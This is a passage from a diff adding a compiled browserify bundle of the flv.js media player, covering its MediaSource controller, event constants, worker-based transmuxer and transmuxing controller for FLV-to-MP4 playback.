this._sourceBuffers; + if (this._mediaElement.readyState === 0 || this._mediaSource.readyState !== 'open') { + return; + } + if (sb.video && sb.video.updating || sb.audio && sb.audio.updating) { + return; + } + + var current = this._mediaSource.duration; + var target = this._pendingMediaDuration; + + if (target > 0 && (isNaN(current) || target > current)) { + _logger2.default.v(this.TAG, 'Update MediaSource duration from ' + current + ' to ' + target); + this._mediaSource.duration = target; + } + + this._requireSetMediaDuration = false; + this._pendingMediaDuration = 0; + } + }, { + key: '_doRemoveRanges', + value: function _doRemoveRanges() { + for (var type in this._pendingRemoveRanges) { + if (!this._sourceBuffers[type] || this._sourceBuffers[type].updating) { + continue; + } + var sb = this._sourceBuffers[type]; + var ranges = this._pendingRemoveRanges[type]; + while (ranges.length && !sb.updating) { + var range = ranges.shift(); + sb.remove(range.start, range.end); + } + } + } + }, { + key: '_doAppendSegments', + value: function _doAppendSegments() { + var pendingSegments = this._pendingSegments; + + for (var type in pendingSegments) { + if (!this._sourceBuffers[type] || this._sourceBuffers[type].updating) { + continue; + } + + if (pendingSegments[type].length > 0) { + var segment = pendingSegments[type].shift(); + + if (segment.timestampOffset) { + // For MPEG audio stream in MSE, if unbuffered-seeking occurred + // We need explicitly set timestampOffset to the desired point in timeline for mpeg SourceBuffer. + var currentOffset = this._sourceBuffers[type].timestampOffset; + var targetOffset = segment.timestampOffset / 1000; // in seconds + + var delta = Math.abs(currentOffset - targetOffset); + if (delta > 0.1) { + // If time delta > 100ms + _logger2.default.v(this.TAG, 'Update MPEG audio timestampOffset from ' + currentOffset + ' to ' + targetOffset); + this._sourceBuffers[type].timestampOffset = targetOffset; + } + delete segment.timestampOffset; + } + + if (!segment.data || segment.data.byteLength === 0) { + // Ignore empty buffer + continue; + } + + try { + this._sourceBuffers[type].appendBuffer(segment.data); + this._isBufferFull = false; + if (type === 'video' && segment.hasOwnProperty('info')) { + this._idrList.appendArray(segment.info.syncPoints); + } + } catch (error) { + this._pendingSegments[type].unshift(segment); + if (error.code === 22) { + // QuotaExceededError + /* Notice that FireFox may not throw QuotaExceededError if SourceBuffer is full + * Currently we can only do lazy-load to avoid SourceBuffer become scattered. + * SourceBuffer eviction policy may be changed in future version of FireFox. + * + * Related issues: + * https://bugzilla.mozilla.org/show_bug.cgi?id=1279885 + * https://bugzilla.mozilla.org/show_bug.cgi?id=1280023 + */ + + // report buffer full, abort network IO + if (!this._isBufferFull) { + this._emitter.emit(_mseEvents2.default.BUFFER_FULL); + } + this._isBufferFull = true; + } else { + _logger2.default.e(this.TAG, error.message); + this._emitter.emit(_mseEvents2.default.ERROR, { code: error.code, msg: error.message }); + } + } + } + } + } + }, { + key: '_onSourceOpen', + value: function _onSourceOpen() { + _logger2.default.v(this.TAG, 'MediaSource onSourceOpen'); + this._mediaSource.removeEventListener('sourceopen', this.e.onSourceOpen); + // deferred sourcebuffer creation / initialization + if (this._pendingSourceBufferInit.length > 0) { + var pendings = this._pendingSourceBufferInit; + while (pendings.length) { + var segment = pendings.shift(); + this.appendInitSegment(segment, true); + } + } + // there may be some pending media segments, append them + if (this._hasPendingSegments()) { + this._doAppendSegments(); + } + this._emitter.emit(_mseEvents2.default.SOURCE_OPEN); + } + }, { + key: '_onSourceEnded', + value: function _onSourceEnded() { + // fired on endOfStream + _logger2.default.v(this.TAG, 'MediaSource onSourceEnded'); + } + }, { + key: '_onSourceClose', + value: function _onSourceClose() { + // fired on detaching from media element + _logger2.default.v(this.TAG, 'MediaSource onSourceClose'); + if (this._mediaSource && this.e != null) { + this._mediaSource.removeEventListener('sourceopen', this.e.onSourceOpen); + this._mediaSource.removeEventListener('sourceended', this.e.onSourceEnded); + this._mediaSource.removeEventListener('sourceclose', this.e.onSourceClose); + } + } + }, { + key: '_hasPendingSegments', + value: function _hasPendingSegments() { + var ps = this._pendingSegments; + return ps.video.length > 0 || ps.audio.length > 0; + } + }, { + key: '_hasPendingRemoveRanges', + value: function _hasPendingRemoveRanges() { + var prr = this._pendingRemoveRanges; + return prr.video.length > 0 || prr.audio.length > 0; + } + }, { + key: '_onSourceBufferUpdateEnd', + value: function _onSourceBufferUpdateEnd() { + if (this._requireSetMediaDuration) { + this._updateMediaSourceDuration(); + } else if (this._hasPendingRemoveRanges()) { + this._doRemoveRanges(); + } else if (this._hasPendingSegments()) { + this._doAppendSegments(); + } else if (this._hasPendingEos) { + this.endOfStream(); + } + this._emitter.emit(_mseEvents2.default.UPDATE_END); + } + }, { + key: '_onSourceBufferError', + value: function _onSourceBufferError(e) { + _logger2.default.e(this.TAG, 'SourceBuffer Error: ' + e); + // this error might not always be fatal, just ignore it + } + }]); + + return MSEController; + }(); + + exports.default = MSEController; + +},{"../utils/browser.js":39,"../utils/exception.js":40,"../utils/logger.js":41,"./media-segment-info.js":8,"./mse-events.js":10,"events":2}],10:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var MSEEvents = { + ERROR: 'error', + SOURCE_OPEN: 'source_open', + UPDATE_END: 'update_end', + BUFFER_FULL: 'buffer_full' + }; + + exports.default = MSEEvents; + +},{}],11:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _loggingControl = _dereq_('../utils/logging-control.js'); + + var _loggingControl2 = _interopRequireDefault(_loggingControl); + + var _transmuxingController = _dereq_('./transmuxing-controller.js'); + + var _transmuxingController2 = _interopRequireDefault(_transmuxingController); + + var _transmuxingEvents = _dereq_('./transmuxing-events.js'); + + var _transmuxingEvents2 = _interopRequireDefault(_transmuxingEvents); + + var _transmuxingWorker = _dereq_('./transmuxing-worker.js'); + + var _transmuxingWorker2 = _interopRequireDefault(_transmuxingWorker); + + var _mediaInfo = _dereq_('./media-info.js'); + + var _mediaInfo2 = _interopRequireDefault(_mediaInfo); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var Transmuxer = function () { + function Transmuxer(mediaDataSource, config) { + _classCallCheck(this, Transmuxer); + + this.TAG = 'Transmuxer'; + this._emitter = new _events2.default(); + + if (config.enableWorker && typeof Worker !== 'undefined') { + try { + var work = _dereq_('webworkify'); + this._worker = work(_transmuxingWorker2.default); + this._workerDestroying = false; + this._worker.addEventListener('message', this._onWorkerMessage.bind(this)); + this._worker.postMessage({ cmd: 'init', param: [mediaDataSource, config] }); + this.e = { + onLoggingConfigChanged: this._onLoggingConfigChanged.bind(this) + }; + _loggingControl2.default.registerListener(this.e.onLoggingConfigChanged); + this._worker.postMessage({ cmd: 'logging_config', param: _loggingControl2.default.getConfig() }); + } catch (error) { + _logger2.default.e(this.TAG, 'Error while initialize transmuxing worker, fallback to inline transmuxing'); + this._worker = null; + this._controller = new _transmuxingController2.default(mediaDataSource, config); + } + } else { + this._controller = new _transmuxingController2.default(mediaDataSource, config); + } + + if (this._controller) { + var ctl = this._controller; + ctl.on(_transmuxingEvents2.default.IO_ERROR, this._onIOError.bind(this)); + ctl.on(_transmuxingEvents2.default.DEMUX_ERROR, this._onDemuxError.bind(this)); + ctl.on(_transmuxingEvents2.default.INIT_SEGMENT, this._onInitSegment.bind(this)); + ctl.on(_transmuxingEvents2.default.MEDIA_SEGMENT, this._onMediaSegment.bind(this)); + ctl.on(_transmuxingEvents2.default.LOADING_COMPLETE, this._onLoadingComplete.bind(this)); + ctl.on(_transmuxingEvents2.default.RECOVERED_EARLY_EOF, this._onRecoveredEarlyEof.bind(this)); + ctl.on(_transmuxingEvents2.default.MEDIA_INFO, this._onMediaInfo.bind(this)); + ctl.on(_transmuxingEvents2.default.METADATA_ARRIVED, this._onMetaDataArrived.bind(this)); + ctl.on(_transmuxingEvents2.default.SCRIPTDATA_ARRIVED, this._onScriptDataArrived.bind(this)); + ctl.on(_transmuxingEvents2.default.STATISTICS_INFO, this._onStatisticsInfo.bind(this)); + ctl.on(_transmuxingEvents2.default.RECOMMEND_SEEKPOINT, this._onRecommendSeekpoint.bind(this)); + } + } + + _createClass(Transmuxer, [{ + key: 'destroy', + value: function destroy() { + if (this._worker) { + if (!this._workerDestroying) { + this._workerDestroying = true; + this._worker.postMessage({ cmd: 'destroy' }); + _loggingControl2.default.removeListener(this.e.onLoggingConfigChanged); + this.e = null; + } + } else { + this._controller.destroy(); + this._controller = null; + } + this._emitter.removeAllListeners(); + this._emitter = null; + } + }, { + key: 'on', + value: function on(event, listener) { + this._emitter.addListener(event, listener); + } + }, { + key: 'off', + value: function off(event, listener) { + this._emitter.removeListener(event, listener); + } + }, { + key: 'hasWorker', + value: function hasWorker() { + return this._worker != null; + } + }, { + key: 'open', + value: function open() { + if (this._worker) { + this._worker.postMessage({ cmd: 'start' }); + } else { + this._controller.start(); + } + } + }, { + key: 'close', + value: function close() { + if (this._worker) { + this._worker.postMessage({ cmd: 'stop' }); + } else { + this._controller.stop(); + } + } + }, { + key: 'seek', + value: function seek(milliseconds) { + if (this._worker) { + this._worker.postMessage({ cmd: 'seek', param: milliseconds }); + } else { + this._controller.seek(milliseconds); + } + } + }, { + key: 'pause', + value: function pause() { + if (this._worker) { + this._worker.postMessage({ cmd: 'pause' }); + } else { + this._controller.pause(); + } + } + }, { + key: 'resume', + value: function resume() { + if (this._worker) { + this._worker.postMessage({ cmd: 'resume' }); + } else { + this._controller.resume(); + } + } + }, { + key: '_onInitSegment', + value: function _onInitSegment(type, initSegment) { + var _this = this; + + // do async invoke + Promise.resolve().then(function () { + _this._emitter.emit(_transmuxingEvents2.default.INIT_SEGMENT, type, initSegment); + }); + } + }, { + key: '_onMediaSegment', + value: function _onMediaSegment(type, mediaSegment) { + var _this2 = this; + + Promise.resolve().then(function () { + _this2._emitter.emit(_transmuxingEvents2.default.MEDIA_SEGMENT, type, mediaSegment); + }); + } + }, { + key: '_onLoadingComplete', + value: function _onLoadingComplete() { + var _this3 = this; + + Promise.resolve().then(function () { + _this3._emitter.emit(_transmuxingEvents2.default.LOADING_COMPLETE); + }); + } + }, { + key: '_onRecoveredEarlyEof', + value: function _onRecoveredEarlyEof() { + var _this4 = this; + + Promise.resolve().then(function () { + _this4._emitter.emit(_transmuxingEvents2.default.RECOVERED_EARLY_EOF); + }); + } + }, { + key: '_onMediaInfo', + value: function _onMediaInfo(mediaInfo) { + var _this5 = this; + + Promise.resolve().then(function () { + _this5._emitter.emit(_transmuxingEvents2.default.MEDIA_INFO, mediaInfo); + }); + } + }, { + key: '_onMetaDataArrived', + value: function _onMetaDataArrived(metadata) { + var _this6 = this; + + Promise.resolve().then(function () { + _this6._emitter.emit(_transmuxingEvents2.default.METADATA_ARRIVED, metadata); + }); + } + }, { + key: '_onScriptDataArrived', + value: function _onScriptDataArrived(data) { + var _this7 = this; + + Promise.resolve().then(function () { + _this7._emitter.emit(_transmuxingEvents2.default.SCRIPTDATA_ARRIVED, data); + }); + } + }, { + key: '_onStatisticsInfo', + value: function _onStatisticsInfo(statisticsInfo) { + var _this8 = this; + + Promise.resolve().then(function () { + _this8._emitter.emit(_transmuxingEvents2.default.STATISTICS_INFO, statisticsInfo); + }); + } + }, { + key: '_onIOError', + value: function _onIOError(type, info) { + var _this9 = this; + + Promise.resolve().then(function () { + _this9._emitter.emit(_transmuxingEvents2.default.IO_ERROR, type, info); + }); + } + }, { + key: '_onDemuxError', + value: function _onDemuxError(type, info) { + var _this10 = this; + + Promise.resolve().then(function () { + _this10._emitter.emit(_transmuxingEvents2.default.DEMUX_ERROR, type, info); + }); + } + }, { + key: '_onRecommendSeekpoint', + value: function _onRecommendSeekpoint(milliseconds) { + var _this11 = this; + + Promise.resolve().then(function () { + _this11._emitter.emit(_transmuxingEvents2.default.RECOMMEND_SEEKPOINT, milliseconds); + }); + } + }, { + key: '_onLoggingConfigChanged', + value: function _onLoggingConfigChanged(config) { + if (this._worker) { + this._worker.postMessage({ cmd: 'logging_config', param: config }); + } + } + }, { + key: '_onWorkerMessage', + value: function _onWorkerMessage(e) { + var message = e.data; + var data = message.data; + + if (message.msg === 'destroyed' || this._workerDestroying) { + this._workerDestroying = false; + this._worker.terminate(); + this._worker = null; + return; + } + + switch (message.msg) { + case _transmuxingEvents2.default.INIT_SEGMENT: + case _transmuxingEvents2.default.MEDIA_SEGMENT: + this._emitter.emit(message.msg, data.type, data.data); + break; + case _transmuxingEvents2.default.LOADING_COMPLETE: + case _transmuxingEvents2.default.RECOVERED_EARLY_EOF: + this._emitter.emit(message.msg); + break; + case _transmuxingEvents2.default.MEDIA_INFO: + Object.setPrototypeOf(data, _mediaInfo2.default.prototype); + this._emitter.emit(message.msg, data); + break; + case _transmuxingEvents2.default.METADATA_ARRIVED: + case _transmuxingEvents2.default.SCRIPTDATA_ARRIVED: + case _transmuxingEvents2.default.STATISTICS_INFO: + this._emitter.emit(message.msg, data); + break; + case _transmuxingEvents2.default.IO_ERROR: + case _transmuxingEvents2.default.DEMUX_ERROR: + this._emitter.emit(message.msg, data.type, data.info); + break; + case _transmuxingEvents2.default.RECOMMEND_SEEKPOINT: + this._emitter.emit(message.msg, data); + break; + case 'logcat_callback': + _logger2.default.emitter.emit('log', data.type, data.logcat); + break; + default: + break; + } + } + }]); + + return Transmuxer; + }(); + + exports.default = Transmuxer; + +},{"../utils/logger.js":41,"../utils/logging-control.js":42,"./media-info.js":7,"./transmuxing-controller.js":12,"./transmuxing-events.js":13,"./transmuxing-worker.js":14,"events":2,"webworkify":4}],12:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _browser = _dereq_('../utils/browser.js'); + + var _browser2 = _interopRequireDefault(_browser); + + var _mediaInfo = _dereq_('./media-info.js'); + + var _mediaInfo2 = _interopRequireDefault(_mediaInfo); + + var _flvDemuxer = _dereq_('../demux/flv-demuxer.js'); + + var _flvDemuxer2 = _interopRequireDefault(_flvDemuxer); + + var _mp4Remuxer = _dereq_('../remux/mp4-remuxer.js'); + + var _mp4Remuxer2 = _interopRequireDefault(_mp4Remuxer); + + var _demuxErrors = _dereq_('../demux/demux-errors.js'); + + var _demuxErrors2 = _interopRequireDefault(_demuxErrors); + + var _ioController = _dereq_('../io/io-controller.js'); + + var _ioController2 = _interopRequireDefault(_ioController); + + var _transmuxingEvents = _dereq_('./transmuxing-events.js'); + + var _transmuxingEvents2 = _interopRequireDefault(_transmuxingEvents); + + var _loader = _dereq_('../io/loader.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + +// Transmuxing (IO, Demuxing, Remuxing) controller, with multipart support + var TransmuxingController = function () { + function TransmuxingController(mediaDataSource, config) { + _classCallCheck(this, TransmuxingController); + + this.TAG = 'TransmuxingController'; + this._emitter = new _events2.default(); + + this._config = config; + + // treat single part media as multipart media, which has only one segment + if (!mediaDataSource.segments) { + mediaDataSource.segments = [{ + duration: mediaDataSource.duration, + filesize: mediaDataSource.filesize, + url: mediaDataSource.url + }]; + } + + // fill in default IO params if not exists + if (typeof mediaDataSource.cors !== 'boolean') { + mediaDataSource.cors = true; + } + if (typeof mediaDataSource.withCredentials !== 'boolean') { + mediaDataSource.withCredentials = false; + } + + this._mediaDataSource = mediaDataSource; + this._currentSegmentIndex = 0; + var totalDuration = 0; + + this._mediaDataSource.segments.forEach(function (segment) { + // timestampBase for each segment, and calculate total duration + segment.timestampBase = totalDuration; + totalDuration += segment.duration; + // params needed by IOController + segment.cors = mediaDataSource.cors; + segment.withCredentials = mediaDataSource.withCredentials; + // referrer policy control, if exist + if (config.referrerPolicy) { + segment.referrerPolicy = config.referrerPolicy; + } + }); + + if (!isNaN(totalDuration) && this._mediaDataSource.duration !== totalDuration) { + this._mediaDataSource.duration = totalDuration; + } + + this._mediaInfo = null; + this._demuxer = null; + this._remuxer = null; + this._ioctl = null; + + this._pendingSeekTime = null; + this._pendingResolveSeekPoint = null; + + this._statisticsReporter = null; + } + + _createClass(TransmuxingController, [{ + key: 'destroy', + value: function destroy() { + this._mediaInfo = null; + this._mediaDataSource = null; + + if (this._statisticsReporter) { + this._disableStatisticsReporter(); + } + if (this._ioctl) { + this._ioctl.destroy(); + this._ioctl = null; + } + if (this._demuxer) { + this._demuxer.destroy(); + this._demuxer = null; + } + if (this._remuxer) { + this._remuxer.destroy(); + this._remuxer = null; + } + + this._emitter.removeAllListeners(); + this._emitter = null; + } + }, { + key: 'on', + value: function on(event, listener) { + this._emitter.addListener(event, listener); + } + }, { + key: 'off', + value: function off(event, listener) { + this._emitter.removeListener(event, listener); + } + }, { + key: 'start', + value: function start() { + this._loadSegment(0); + this._enableStatisticsReporter(); + } + }, { + key: '_loadSegment', + value: function _loadSegment(segmentIndex, optionalFrom) { + this._currentSegmentIndex = segmentIndex; + var dataSource = this._mediaDataSource.segments[segmentIndex]; + + var ioctl = this._ioctl = new _ioController2.default(dataSource, this._config, segmentIndex); + ioctl.onError = this._onIOException.bind(this); + ioctl.onSeeked = this._onIOSeeked.bind(this); + ioctl.onComplete = this._onIOComplete.bind(this); + ioctl.onRedirect = this._onIORedirect.bind(this); + ioctl.onRecoveredEarlyEof = this._onIORecoveredEarlyEof.bind(this); + + if (optionalFrom) { + this._demuxer.bindDataSource(this._ioctl); + } else { + ioctl.onDataArrival = this._onInitChunkArrival.bind(this); + } + + ioctl.open(optionalFrom); + } + }, { + key: 'stop', + value: function stop() { + this._internalAbort(); + this._disableStatisticsReporter(); + } + }, { + key: '_internalAbort', + value: function _internalAbort() { + if (this._ioctl) { + this._ioctl.destroy(); + this._ioctl = null; + } + } + }, { + key: 'pause', + value: function pause() { + // take a rest + if (this._ioctl && this._ioctl.isWorking()) { + this._ioctl.pause(); + this._disableStatisticsReporter(); + } + } + }, { + key: 'resume', + value: function resume() { + if (this._ioctl && this._ioctl.isPaused()) { + this._ioctl.resume(); + this._enableStatisticsReporter(); + } + } + }, { + key: 'seek', + value: function seek(milliseconds) { + if (this._mediaInfo == null || !this._mediaInfo.isSeekable()) { + return; + } + + var targetSegmentIndex = this._searchSegmentIndexContains(milliseconds); + + if (targetSegmentIndex === this._currentSegmentIndex) { + // intra-segment seeking + var segmentInfo = this._mediaInfo.segments[targetSegmentIndex]; + + if (segmentInfo == undefined) { + // current segment loading started, but mediainfo hasn't received yet + // wait for the metadata loaded, then seek to expected position + this._pendingSeekTime = milliseconds; + } else { + var keyframe = segmentInfo.getNearestKeyframe(milliseconds); + this._remuxer.seek(keyframe.milliseconds); + this._ioctl.seek(keyframe.fileposition); + // Will be resolved in _onRemuxerMediaSegmentArrival() + this._pendingResolveSeekPoint = keyframe.milliseconds; + } + } else { + // cross-segment seeking + var targetSegmentInfo = this._mediaInfo.segments[targetSegmentIndex]; + + if (targetSegmentInfo == undefined) { + // target segment hasn't been loaded. We need metadata then seek to expected time + this._pendingSeekTime = milliseconds; + this._internalAbort(); + this._remuxer.seek(); + this._remuxer.insertDiscontinuity(); + this._loadSegment(targetSegmentIndex); + // Here we wait for the metadata loaded, then seek to expected position + } else { + // We have target segment's metadata, direct seek to target position + var _keyframe = targetSegmentInfo.getNearestKeyframe(milliseconds); + this._internalAbort(); + this._remuxer.seek(milliseconds); + this._remuxer.insertDiscontinuity(); + this._demuxer.resetMediaInfo(); + this._demuxer.timestampBase = this._mediaDataSource.segments[targetSegmentIndex].timestampBase; + this._loadSegment(targetSegmentIndex, _keyframe.fileposition); + this._pendingResolveSeekPoint = _keyframe.milliseconds; + this._reportSegmentMediaInfo(targetSegmentIndex); + } + } + + this._enableStatisticsReporter(); + } + }, { + key: '_searchSegmentIndexContains', + value: function _searchSegmentIndexContains(milliseconds) { + var segments = this._mediaDataSource.segments; + var idx = segments.length - 1; + + for (var i = 0; i < segments.length; i++) { + if (milliseconds < segments[i].timestampBase) { + idx = i - 1; + break; + } + } + return idx; + } + }, { + key: '_onInitChunkArrival', + value: function _onInitChunkArrival(data, byteStart) { + var _this = this; + + var probeData = null; + var consumed = 0; + + if (byteStart > 0) { + // IOController seeked immediately after opened, byteStart > 0 callback may received + this._demuxer.bindDataSource(this._ioctl); + this._demuxer.timestampBase = this._mediaDataSource.segments[this._currentSegmentIndex].timestampBase; + + consumed = this._demuxer.parseChunks(data, byteStart); + } else if ((probeData = _flvDemuxer2.default.probe(data)).match) { + // Always create new FLVDemuxer + this._demuxer = new _flvDemuxer2.default(probeData, this._config); + + if (!this._remuxer) { + this._remuxer = new _mp4Remuxer2.default(this._config); + } + + var mds = this._mediaDataSource; + if (mds.duration != undefined && !isNaN(mds.duration)) { + this._demuxer.overridedDuration = mds.duration; + } + if (typeof mds.hasAudio === 'boolean') { + this._demuxer.overridedHasAudio = mds.hasAudio; + } + if (typeof mds.hasVideo === 'boolean') { + this._demuxer.overridedHasVideo = mds.hasVideo; + } + + this._demuxer.timestampBase = mds.segments[this._currentSegmentIndex].timestampBase; + + this._demuxer.onError = this._onDemuxException.bind(this); + this._demuxer.onMediaInfo = this._onMediaInfo.bind(this); + this._demuxer.onMetaDataArrived = this._onMetaDataArrived.bind(this); + this._demuxer.onScriptDataArrived = this._onScriptDataArrived.bind(this); + + this._remuxer.bindDataSource(this._demuxer.bindDataSource(this._ioctl)); + + this._remuxer.onInitSegment = this._onRemuxerInitSegmentArrival.bind(this); + this._remuxer.onMediaSegment = this._onRemuxerMediaSegmentArrival.bind(this); + + consumed = this._demuxer.parseChunks(data, byteStart); + } else { + probeData = null; + _logger2.default.e(this.TAG, 'Non-FLV, Unsupported media type!'); + Promise.resolve().then(function () { + _this._internalAbort(); + }); + this._emitter.emit(_transmuxingEvents2.default.DEMUX_ERROR, _demuxErrors2.default.FORMAT_UNSUPPORTED, 'Non-FLV, Unsupported media type'); + + consumed = 0; + } + + return consumed; + } + }, { + key: '_onMediaInfo', + value: function _onMediaInfo(mediaInfo) { + var _this2 = this; + + if (this._mediaInfo == null) { + // Store first segment's mediainfo as global mediaInfo + this._mediaInfo = Object.assign({}, mediaInfo); + this._mediaInfo.keyframesIndex = null; + this._mediaInfo.segments = []; + this._mediaInfo.segmentCount = this._mediaDataSource.segments.length; + Object.setPrototypeOf(this._mediaInfo, _mediaInfo2.default.prototype); + } + + var segmentInfo = Object.assign({}, mediaInfo); + Object.setPrototypeOf(segmentInfo, _mediaInfo2.default.prototype); + this._mediaInfo.segments[this._currentSegmentIndex] = segmentInfo; + + // notify mediaInfo update + this._reportSegmentMediaInfo(this._currentSegmentIndex); + + if (this._pendingSeekTime != null) { + Promise.resolve().then(function () { + var target = _this2._pendingSeekTime; + _this2._pendingSeekTime = null; + _this2.seek(target); + }); + } + } + }, { + key: '_onMetaDataArrived', + value: function _onMetaDataArrived(metadata) { + this._emitter.emit(_transmuxingEvents2.default.METADATA_ARRIVED, metadata); + } + }, { + key: '_onScriptDataArrived', + value: function _onScriptDataArrived(data) { + this._emitter.emit(_transmuxingEvents2.default.SCRIPTDATA_ARRIVED, data); + } + }, { + key: '_onIOSeeked', + value: function _onIOSeeked() { + this._remuxer.insertDiscontinuity(); + } + }, { + key: '_onIOComplete', + value: function _onIOComplete(extraData) { + var segmentIndex = extraData; + var nextSegmentIndex = segmentIndex + 1; + + if (nextSegmentIndex < this._mediaDataSource.segments.length) { + this._internalAbort(); + this._remuxer.flushStashedSamples(); + this._loadSegment(nextSegmentIndex); + } else { + this._remuxer.flushStashedSamples(); + this._emitter.emit(_transmuxingEvents2.default.LOADING_COMPLETE); + this._disableStatisticsReporter(); + } + } + }, { + key: '_onIORedirect', + value: function _onIORedirect(redirectedURL) { + var segmentIndex = this._ioctl.extraData; + this._mediaDataSource.segments[segmentIndex].redirectedURL = redirectedURL; + } + }, { + key: '_onIORecoveredEarlyEof', + value: function _onIORecoveredEarlyEof() { + this._emitter.emit(_transmuxingEvents2.default.RECOVERED_EARLY_EOF); + } + }, { + key: '_onIOException', + value: function _onIOException(type, info) { + _logger2.default.e(this.TAG, 'IOException: type = ' + type + ', code = ' + info.code + ', msg = ' + info.msg); + this._emitter.emit(_transmuxingEvents2.default.IO_ERROR, type, info); + this._disableStatisticsReporter(); + } + }, { + key: '_onDemuxException', + value: function _onDemuxException(type, info) { + _logger2.default.e(this.TAG, 'DemuxException: type = ' + type + ', info = ' + info); + this._emitter.emit(_transmuxingEvents2.default.DEMUX_ERROR, type, info); + } + }, { + key: '_onRemuxerInitSegmentArrival', + value: function _onRemuxerInitSegmentArrival(type, initSegment) { + this._emitter.emit(_transmuxingEvents2.default.INIT_SEGMENT, type, initSegment); + } + }, { + key: '_onRemuxerMediaSegmentArrival', + value: function _onRemuxerMediaSegmentArrival(type, mediaSegment) { + if (this._pendingSeekTime != null) { + // Media segments after new-segment cross-seeking should be dropped. + return; + } + this._emitter.emit(_transmuxingEvents2.default.MEDIA_SEGMENT, type, mediaSegment); + + // Resolve pending seekPoint + if (this._pendingResolveSeekPoint != null && type === 'video') { + var syncPoints = mediaSegment.info.syncPoints; + var seekpoint = this._pendingResolveSeekPoint; + this._pendingResolveSeekPoint = null; + + // Safari: Pass PTS for recommend_seekpoint + if (_browser2.default.safari && syncPoints.length > 0 && syncPoints[0].originalDts === seekpoint) { + seekpoint = syncPoints[0].pts; + } + // else: use original DTS (keyframe.milliseconds) + + this._emitter.emit(_transmuxingEvents2.default.RECOMMEND_SEEKPOINT, seekpoint); + } + } + }, { + key: '_enableStatisticsReporter', + value: function _enableStatisticsReporter() { + if (this._statisticsReporter == null) { + this._statisticsReporter = self.setInterval(this._reportStatisticsInfo.bind(this), this._config.statisticsInfoReportInterval); + } + } + }, { + key: '_disableStatisticsReporter', + value: function _disableStatisticsReporter() { + if (this._statisticsReporter) { + self.clearInterval(this._statisticsReporter); + this._statisticsReporter = null; + } + } + }, { + key: '_reportSegmentMediaInfo', + value: function _reportSegmentMediaInfo(segmentIndex) { + var segmentInfo = this._mediaInfo.segments[segmentIndex]; + var exportInfo = Object.assign({}, segmentInfo); + + exportInfo.duration = this._mediaInfo.duration; + exportInfo.segmentCount = this._mediaInfo.segmentCount; + delete exportInfo.segments; + delete exportInfo.keyframesIndex; + + this._emitter.emit(_transmuxingEvents2.default.MEDIA_INFO, exportInfo); + } + }, { + key: '_reportStatisticsInfo', + value: function _reportStatisticsInfo() { + var info = {}; + + info.url = this._ioctl.currentURL; + info.hasRedirect = this._ioctl.hasRedirect; + if (info.hasRedirect) { + info.redirectedURL = this._ioctl.currentRedirectedURL; + } + + info.speed = this._ioctl.currentSpeed; + info.loaderType = this._ioctl.loaderType; + info.currentSegmentIndex = this._currentSegmentIndex; + info.totalSegmentCount = this._mediaDataSource.segments.length; + + this._emitter.emit(_transmuxingEvents2.default.STATISTICS_INFO, info); + } + }]); + + return TransmuxingController; + }(); + + exports.default = TransmuxingController; + +},{"../demux/demux-errors.js":16,"../demux/flv-demuxer.js":18,"../io/io-controller.js":23,"../io/loader.js":24,"../remux/mp4-remuxer.js":38,"../utils/browser.js":39,"../utils/logger.js":41,"./media-info.js":7,"./transmuxing-events.js":13,"events":2}],13:[function(_dereq_,module,exports){ + 'use strict'; + + 